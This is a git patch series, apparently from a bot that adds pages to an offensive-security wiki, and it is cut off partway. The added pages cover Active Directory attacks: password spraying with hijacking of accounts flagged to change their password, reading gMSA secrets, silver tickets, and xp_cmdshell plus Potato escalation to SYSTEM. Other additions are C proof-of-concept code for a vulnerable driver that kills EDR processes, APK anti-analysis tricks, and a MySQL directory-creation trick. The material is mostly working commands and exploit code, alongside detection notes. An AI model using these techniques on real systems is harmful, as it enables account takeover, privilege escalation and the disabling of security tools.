From bcb06375f68c40e2f78010064cf1b95f33d103ea Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Thu, 28 Aug 2025 18:40:37 +0000 Subject: [PATCH 01/13] Add content from: HTB Sendai: From password spray to gMSA dump, then ADCS ESC4... - Remove searchindex.js (auto-generated file) --- .../kerberos-authentication.md | 14 +++++- .../password-spraying.md | 41 +++++++++++++++- .../silver-ticket.md | 41 ++++++++++++++-- .../README.md | 47 +++++++++++++++++++ 4 files changed, 137 insertions(+), 6 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index ec26c2475..08c88672e 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -2,9 +2,19 @@ {{#include ../../banners/hacktricks-training.md}} -**Check the amazing post from:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) +Kerberos is time-sensitive. A typical default clock skew tolerance is 5 minutes. If your attacking host clock drifts beyond this window, pre-auth and service requests will fail with KRB_AP_ERR_SKEW or similar errors. Always sync your time with the DC before Kerberos operations: -{{#include ../../banners/hacktricks-training.md}} +```bash +sudo ntpdate +``` +For a deep dive on protocol flow and abuse: +**Check the amazing post from:** [https://www.tarlogic.com/en/blog/how-kerberos-works/](https://www.tarlogic.com/en/blog/how-kerberos-works/) +## References + +- [How Kerberos Works – Tarlogic](https://www.tarlogic.com/en/blog/how-kerberos-works/) +- [HTB Sendai – 0xdf (operational notes on clock skew)](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index bd408ae7d..ea805a69a 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -103,6 +103,44 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose Invoke-SprayEmptyPassword ``` +### Identify and Take Over "Password must change at next logon" Accounts (SAMR) + +A low-noise technique is to spray a benign/empty password and catch accounts returning STATUS_PASSWORD_MUST_CHANGE, which indicates the password was forcibly expired and can be changed without knowing the old one. + +Workflow: +- Enumerate users (RID brute via SAMR) to build the target list: + +{{#ref}} +../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +{{#endref}} + +```bash +# NetExec (null/guest) + RID brute to harvest users +netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt +``` + +- Spray an empty password and keep going on hits to capture accounts that must change at next logon: + +```bash +# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results +netexec smb -u users.txt -p '' --continue-on-success +``` + +- For each hit, change the password over SAMR with NetExec’s module (no old password needed when "must change" is set): + +```bash +# Strong complexity to satisfy policy +env NEWPASS='P@ssw0rd!2025#' ; \ +netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" + +# Validate and retrieve domain password policy with the new creds +netexec smb -u -p "$NEWPASS" --pass-pol +``` + +Operational notes: +- Ensure your host clock is in sync with the DC before Kerberos-based operations: `sudo ntpdate `. +- A [+] without (Pwn3d!) in some modules (e.g., RDP/WinRM) means the creds are valid but the account lacks interactive logon rights. + ## Brute Force ```bash @@ -226,6 +264,7 @@ To use any of these tools, you need a user list and a password / a small list of - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) +- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) -{{#include ../../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index 5a853b9e3..25797ac8d 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -43,6 +43,42 @@ mimikatz.exe "kerberos::ptt " The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries. +### Example: MSSQL service (MSSQLSvc) + Potato to SYSTEM + +If you have the NTLM hash (or AES key) of a SQL service account (e.g., sqlsvc) you can forge a TGS for the MSSQL SPN and impersonate any user to the SQL service. From there, enable xp_cmdshell to execute commands as the SQL service account. If that token has SeImpersonatePrivilege, chain a Potato to elevate to SYSTEM. + +```bash +# Forge a silver ticket for MSSQLSvc (RC4/NTLM example) +python ticketer.py -nthash -domain-sid -domain \ + -spn MSSQLSvc/:1433 administrator +export KRB5CCNAME=$PWD/administrator.ccache + +# Connect to SQL using Kerberos and run commands via xp_cmdshell +impacket-mssqlclient -k -no-pass /administrator@:1433 \ + -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'" +``` + +- If the resulting context has SeImpersonatePrivilege (often true for service accounts), use a Potato variant to get SYSTEM: + +```bash +# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato +PrintSpoofer.exe -c "cmd /c whoami" +# or +GodPotato -cmd "cmd /c whoami" +``` + +More details on abusing MSSQL and enabling xp_cmdshell: + +{{#ref}} +abusing-ad-mssql.md +{{#endref}} + +Potato techniques overview: + +{{#ref}} +../windows-local-privilege-escalation/roguepotato-and-printspoofer.md +{{#endref}} + ## Available Services | Service Type | Service Silver Tickets | @@ -167,9 +203,8 @@ dcsync.md - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027) +- [HTB Sendai – 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) -{{#include ../../banners/hacktricks-training.md}} - - +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index edbfc69e3..bb5348b93 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -169,6 +169,47 @@ You can read this password with [**GMSAPasswordReader**](https://github.com/rvaz Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**. +### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword) + +In many environments, low-privileged users can pivot to gMSA secrets without DC compromise by abusing misconfigured object ACLs: + +- A group you can control (e.g., via GenericAll/GenericWrite) is granted `ReadGMSAPassword` over a gMSA. +- By adding yourself to that group, you inherit the right to read the gMSA’s `msDS-ManagedPassword` blob over LDAP and derive usable NTLM credentials. + +Typical workflow: + +1) Discover the path with BloodHound and mark your foothold principals as Owned. Look for edges like: + - GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA + +2) Add yourself to the intermediate group you control (example with bloodyAD): + +```bash +bloodyAD --host -d -u -p add groupMember +``` + +3) Read the gMSA managed password via LDAP and derive the NTLM hash. NetExec automates the extraction of `msDS-ManagedPassword` and conversion to NTLM: + +```bash +# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically +netexec ldap -u -p --gmsa +# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f +``` + +4) Authenticate as the gMSA using the NTLM hash (no plaintext needed). If the account is in Remote Management Users, WinRM will work directly: + +```bash +# SMB / WinRM as the gMSA using the NT hash +netexec smb -u 'mgtsvc$' -H +netexec winrm -u 'mgtsvc$' -H +``` + +Notes: +- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically. +- gMSAs are often granted local rights like WinRM; validate group membership (e.g., Remote Management Users) to plan lateral movement. +- If you only need the blob to compute the NTLM yourself, see MSDS-MANAGEDPASSWORD_BLOB structure. + + + ## LAPS The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), enables the management of local Administrator passwords. These passwords, which are **randomized**, unique, and **regularly changed**, are stored centrally in Active Directory. Access to these passwords is restricted through ACLs to authorized users. With sufficient permissions granted, the ability to read local admin passwords is provided. @@ -269,4 +310,10 @@ The SSPI will be in charge of finding the adequate protocol for two machines tha uac-user-account-control.md {{#endref}} +## References + +- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/) +- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) +- [HTB Sendai – 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) + {{#include ../../banners/hacktricks-training.md}} From 54f93d5e3862f6d761e474274a6208752d91f392 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Thu, 28 Aug 2025 18:55:56 +0000 Subject: [PATCH 02/13] Add content from: Chasing the Silver Fox: Cat & Mouse in Kernel Shadows - Remove searchindex.js (auto-generated file) --- src/windows-hardening/av-bypass.md | 65 ++++++++++++++++++- .../README.md | 36 ++++++++++ 2 files changed, 100 insertions(+), 1 deletion(-) diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 70f6e05c5..2ed98ccac 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -715,7 +715,64 @@ Detection / Mitigation • Monitor creations of new *kernel* services and alert when a driver is loaded from a world-writable directory or not present on the allow-list. • Watch for user-mode handles to custom device objects followed by suspicious `DeviceIoControl` calls. -### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching +### Silver Fox BYOVD: WatchDog amsdk.sys/wamsdk.sys (Zemana SDK) on Win10/11 + +A real-world APT campaign (“Silver Fox”) abused a signed but vulnerable antimalware driver to reliably kill EDR/AV (including PP/PPL) and sometimes elevate privileges on fully patched Windows 10/11. + +Key points +- Driver: WatchDog Anti‑Malware amsdk.sys v1.0.600 (Microsoft-signed). Internals show Zemana SDK reuse (PDB path: zam64.pdb). Loadable on modern Windows where blocklists didn’t yet include it. +- Legacy path: Older variants used ZAM.exe (legacy Zemana) on Win7-era systems. +- Post-patch: Vendor released wamsdk.sys v1.1.100. It fixed LPE by tightening device security but still allowed arbitrary termination of processes, including PP/PPL. + +Root cause (amsdk.sys v1.0.600) +- The device object is created via IoCreateDeviceSecure with a strong SDDL: D:P(A;;GA;;;SY)(A;;GA;;;BA) but DeviceCharacteristics omits FILE_DEVICE_SECURE_OPEN. +- Without FILE_DEVICE_SECURE_OPEN, the secure DACL does not protect opens via the device namespace. Any user can open a handle by using a path with an extra component such as \\ .\\amsdk\\anyfile. Windows resolves it to the device object and returns a handle, bypassing the intended ACL. + +Powerful IOCTLs exposed +- 0x80002010 – IOCTL_REGISTER_PROCESS: Register the caller. +- 0x80002048 – IOCTL_TERMINATE_PROCESS: Terminates arbitrary PIDs, including PP/PPL (the driver only avoids critical system PIDs to prevent bugchecks). +- 0x8000204C – IOCTL_OPEN_PROCESS: Returns full-access handles to target processes (LPE/token‑theft pivot). +- 0x80002014 / 0x80002018 – Raw disk read/write (stealth tampering possible). + +Minimal PoC to terminate PP/PPL via user mode +```c +#define IOCTL_REGISTER_PROCESS 0x80002010 +#define IOCTL_TERMINATE_PROCESS 0x80002048 + +int main() { + DWORD pidRegister = GetCurrentProcessId(); + DWORD pidTerminate = /* target PID */; + HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); + DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &pidRegister, sizeof(pidRegister), 0, 0, 0, 0); + DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &pidTerminate, sizeof(pidTerminate), 0, 0, 0, 0); + return 0; +} +``` + +Local privilege escalation pivot +- Because any user can open the device, IOCTL_OPEN_PROCESS can hand out full-access handles to privileged processes. From there you can DuplicateTokenEx/CreateProcessAsUser to jump to SYSTEM. Raw disk I/O IOCTLs can also be abused for stealthy boot/config tampering. + +Patch and adversary response +- Fix guidance: set FILE_DEVICE_SECURE_OPEN at device creation and add PP/PPL checks to block protected process termination. +- Vendor patch (wamsdk.sys v1.1.100): Enforced secure opens (closing the LPE) but still allowed arbitrary termination (no PP/PPL level checks). +- Signature evasion: Actors flipped a single byte in the unauthenticated RFC 3161 countersignature inside the WIN_CERTIFICATE. Result: the Microsoft Authenticode chain remains valid, but the file’s SHA‑256 changes, defeating hash‑based driver blocklists. + +Operational tradecraft observed (loader) +- Single EXE bundles the vulnerable driver(s) and a downloader module. On modern OS, amsdk.sys loads; on legacy OS, ZAM.exe path is used. The loader persists via services (e.g., Amsdk_Service kernel driver; a misspelled Termaintor service) and drops under C:\\Program Files\\RunTime. +- EDR killer logic: open amsdk device; for each process name in a Base64 list (~192 entries), issue IOCTL_REGISTER_PROCESS → IOCTL_TERMINATE_PROCESS. + +Detection ideas +- Monitor creation/start of kernel driver services backed by unusual paths and registry-driven NtLoadDriver flows creating Amsdk_Service; look for user-mode opens of \\.\\amsdk* followed by DeviceIoControl 0x80002010 → 0x80002048. +- Hunt for the suspicious service name "Termaintor" and drops under C:\\Program Files\\RunTime. +- Keep Microsoft’s vulnerable-driver blocklist current and augment with allow/deny lists (WDAC/HVCI/Smart App Control). Track use of new hashes on known signed binaries to catch countersignature tampering. + +References and tooling +- LOLDrivers: https://github.com/magicsword-io/LOLDrivers +- Microsoft Vulnerable Driver Blocklist: https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules +- Terminator (Zemana BYOVD PoC): https://github.com/ZeroMemoryEx/Terminator +- CPR writeup with IOCTLs/PoCs/IOCs: https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/ + + Zscaler’s **Client Connector** applies device-posture rules locally and relies on Windows RPC to communicate the results to other components. Two weak design choices make a full bypass possible: @@ -840,4 +897,10 @@ References for PPL and tooling - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html) +- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) +- [LOLDrivers](https://github.com/magicsword-io/LOLDrivers) +- [Microsoft – Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) +- [Terminator – Zemana BYOVD PoC](https://github.com/ZeroMemoryEx/Terminator) +- [Watchdog Anti‑Malware (product page)](https://watchdog.com/solutions/anti-malware/) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index e4b6606db..df8e81ebf 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -739,6 +739,40 @@ If a driver exposes an arbitrary kernel read/write primitive (common in poorly d arbitrary-kernel-rw-token-theft.md {{#endref}} +#### Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill) + +Some signed third‑party drivers create their device object with a strong SDDL via IoCreateDeviceSecure but forget to set FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Without this flag, the secure DACL is not enforced when the device is opened through a path containing an extra component, letting any unprivileged user obtain a handle by using a namespace path like: + +- \\ .\\DeviceName\\anything +- \\ .\\amsdk\\anyfile (from a real-world case) + +Once a user can open the device, privileged IOCTLs exposed by the driver can be abused for LPE and tampering. Example capabilities observed in the wild: +- Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). +- Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks). +- Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel. + +Minimal PoC pattern (user mode): +```c +// Example based on a vulnerable antimalware driver +#define IOCTL_REGISTER_PROCESS 0x80002010 +#define IOCTL_TERMINATE_PROCESS 0x80002048 + +HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); +DWORD me = GetCurrentProcessId(); +DWORD target = /* PID to kill or open */; +DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); +DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); +``` + +Mitigations for developers +- Always set FILE_DEVICE_SECURE_OPEN when creating device objects intended to be restricted by a DACL. +- Validate caller context for privileged operations. Add PP/PPL checks before allowing process termination or handle returns. +- Constrain IOCTLs (access masks, METHOD_*, input validation) and consider brokered models instead of direct kernel privileges. + +Detection ideas for defenders +- Monitor user-mode opens of suspicious device names (e.g., \\ .\\amsdk*) and specific IOCTL sequences indicative of abuse. +- Enforce Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) and maintain your own allow/deny lists. + ## PATH DLL Hijacking @@ -1839,4 +1873,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) + {{#include ../../banners/hacktricks-training.md}} From accdacb8324164db5d0b3291c3c422f290fcc5ff Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Fri, 29 Aug 2025 01:29:34 +0000 Subject: [PATCH 03/13] Add content from: Research Update: Enhanced src/windows-hardening/windows-loca... - Remove searchindex.js (auto-generated file) --- .../juicypotato.md | 36 ++++++++++++++++--- 1 file changed, 31 insertions(+), 5 deletions(-) diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 6199a1210..f4a74e4b7 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. _**Check:**_ +> [!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage. {{#ref}} @@ -15,6 +15,11 @@ _A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/Rotten #### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) +### Compatibility quick notes + +- Works reliably up to Windows 10 1803 and Windows Server 2016 when the current context has SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. +- Broken by Microsoft hardening in Windows 10 1809 / Windows Server 2019 and later. Prefer the alternatives linked above for those builds. + ### Summary [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** @@ -81,6 +86,29 @@ The actual solution is to protect sensitive accounts and applications which run From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) +## JuicyPotatoNG (2022+) + +JuicyPotatoNG re-introduces a JuicyPotato-style local privilege escalation on modern Windows by combining: +- DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener. +- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present. +- Tricks to satisfy DCOM activation constraints (e.g., the former INTERACTIVE-group requirement when targeting PrintNotify / ActiveX Installer Service classes). + +Important notes (evolving behavior across builds): +- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”. +- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post. + +Basic usage (more flags in the help): + +``` +JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" +# Useful helpers: +# -b Bruteforce all CLSIDs (testing only; spawns many processes) +# -s Scan for a COM port not filtered by Windows Defender Firewall +# -i Interactive console (only with CreateProcessAsUser) +``` + +If you’re targeting Windows 10 1809 / Server 2019 where classic JuicyPotato is patched, prefer the alternatives linked at the top (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG may be situational depending on build and service state. + ## Examples Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try. @@ -114,10 +142,7 @@ c:\Users\Public> Oftentimes, the default CLSID that JuicyPotato uses **doesn't work** and the exploit fails. Usually, it takes multiple attempts to find a **working CLSID**. To get a list of CLSIDs to try for a specific operating system, you should visit this page: - -{{#ref}} -https://ohpe.it/juicy-potato/CLSID/ -{{#endref}} +- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/) ### **Checking CLSIDs** @@ -132,5 +157,6 @@ Then download [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master ## References - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) +- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/) {{#include ../../banners/hacktricks-training.md}} From f171872f7a6aad31676fa90915f30dcce5785ea0 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Fri, 29 Aug 2025 18:34:18 +0000 Subject: [PATCH 04/13] Add content from: GodFather - Part 1 - A multistage dropper - Remove searchindex.js (auto-generated file) --- .../zips-tricks.md | 165 +++++++++++++++++- 1 file changed, 161 insertions(+), 4 deletions(-) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index 0dacaa3c0..c510af153 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -14,11 +14,168 @@ The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestud It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +--- + +## Anti-reversing tricks in APKs using manipulated ZIP headers + +Modern Android malware droppers use malformed ZIP metadata to break static tools (jadx/apktool/unzip) while keeping the APK installable on-device. The most common tricks are: + +- Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0 +- Abusing large/custom Extra fields to confuse parsers +- File/directory name collisions to hide real artifacts (e.g., a directory named `classes.dex/` next to the real `classes.dex`) + +### 1) Fake encryption (GPBF bit 0 set) without real crypto + +Symptoms: +- `jadx-gui` fails with errors like: + + ``` + java.util.zip.ZipException: invalid CEN header (encrypted entry) + ``` +- `unzip` prompts for a password for core APK files even though a valid APK cannot have encrypted `classes*.dex`, `resources.arsc`, or `AndroidManifest.xml`: + + ```bash + unzip sample.apk + [sample.apk] classes3.dex password: + skipping: classes3.dex incorrect password + skipping: AndroidManifest.xml/res/vhpng-xhdpi/mxirm.png incorrect password + skipping: resources.arsc/res/domeo/eqmvo.xml incorrect password + skipping: classes2.dex incorrect password + ``` + +Detection with zipdetails: + +```bash +zipdetails -v sample.apk | less +``` + +Look at the General Purpose Bit Flag for local and central headers. A telltale value is bit 0 set (Encryption) even for core entries: + +``` +Extract Zip Spec 2D '4.5' +General Purpose Flag 0A09 + [Bit 0] 1 'Encryption' + [Bits 1-2] 1 'Maximum Compression' + [Bit 3] 1 'Streamed' + [Bit 11] 1 'Language Encoding' +``` + +Heuristic: If an APK installs and runs on-device but core entries appear "encrypted" to tools, the GPBF was tampered with. + +Fix by clearing GPBF bit 0 in both Local File Headers (LFH) and Central Directory (CD) entries. Minimal byte-patcher: + +```python +# gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers +import struct, sys + +SIG_LFH = b"\x50\x4b\x03\x04" # Local File Header +SIG_CDH = b"\x50\x4b\x01\x02" # Central Directory Header + +def patch_flags(buf: bytes, sig: bytes, flag_off: int): + out = bytearray(buf) + i = 0 + patched = 0 + while True: + i = out.find(sig, i) + if i == -1: + break + flags, = struct.unpack_from(' 1: + print('COLLISION', base, '->', variants) +``` + +Blue-team detection ideas: +- Flag APKs whose local headers mark encryption (GPBF bit 0 = 1) yet install/run. +- Flag large/unknown Extra fields on core entries (look for markers like `JADXBLOCK`). +- Flag path-collisions (`X` and `X/`) specifically for `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`. + +--- + ## References - [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/) +- [GodFather – Part 1 – A multistage dropper (APK ZIP anti-reversing)](https://shindan.io/blog/godfather-part-1-a-multistage-dropper) +- [zipdetails (Archive::Zip script)](https://metacpan.org/pod/distribution/Archive-Zip/scripts/zipdetails) +- [ZIP File Format Specification (PKWARE APPNOTE.TXT)](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) -{{#include ../../../banners/hacktricks-training.md}} - - - +{{#include ../../../banners/hacktricks-training.md}} \ No newline at end of file From 85fa2a0dee8dc487e0141e5186f561b39f8a64e5 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sat, 30 Aug 2025 12:47:45 +0000 Subject: [PATCH 05/13] =?UTF-8?q?Add=20content=20from:=20The=20Art=20of=20?= =?UTF-8?q?PHP:=20CTF=E2=80=91born=20exploits=20and=20techniques?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Remove searchindex.js (auto-generated file) --- .../pentesting-mysql.md | 12 + ...object-creation-new-usd_get-a-usd_get-b.md | 33 +- .../README.md | 22 + src/pentesting-web/deserialization/README.md | 493 +++++++++++++++++- src/pentesting-web/file-inclusion/README.md | 1 + .../file-inclusion/lfi2rce-via-php-filters.md | 1 + src/pentesting-web/file-upload/README.md | 5 + src/windows-hardening/av-bypass.md | 56 +- 8 files changed, 573 insertions(+), 50 deletions(-) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 25723f9ad..b7704bfe3 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -289,6 +289,17 @@ SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` +#### Windows tip: create directories with NTFS ADS from SQL + +On NTFS you can coerce directory creation using an alternate data stream even when only a file write primitive exists. If the classic UDF chain expects a `plugin` directory but it doesn’t exist and `@@plugin_dir` is unknown or locked down, you can create it first with `::$INDEX_ALLOCATION`: + +```sql +SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; +-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory +``` + +This turns limited `SELECT ... INTO OUTFILE` into a more complete primitive on Windows stacks by bootstrapping the folder structure needed for UDF drops. + ### Extracting MySQL credentials from files Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint** @@ -749,6 +760,7 @@ john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) - [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 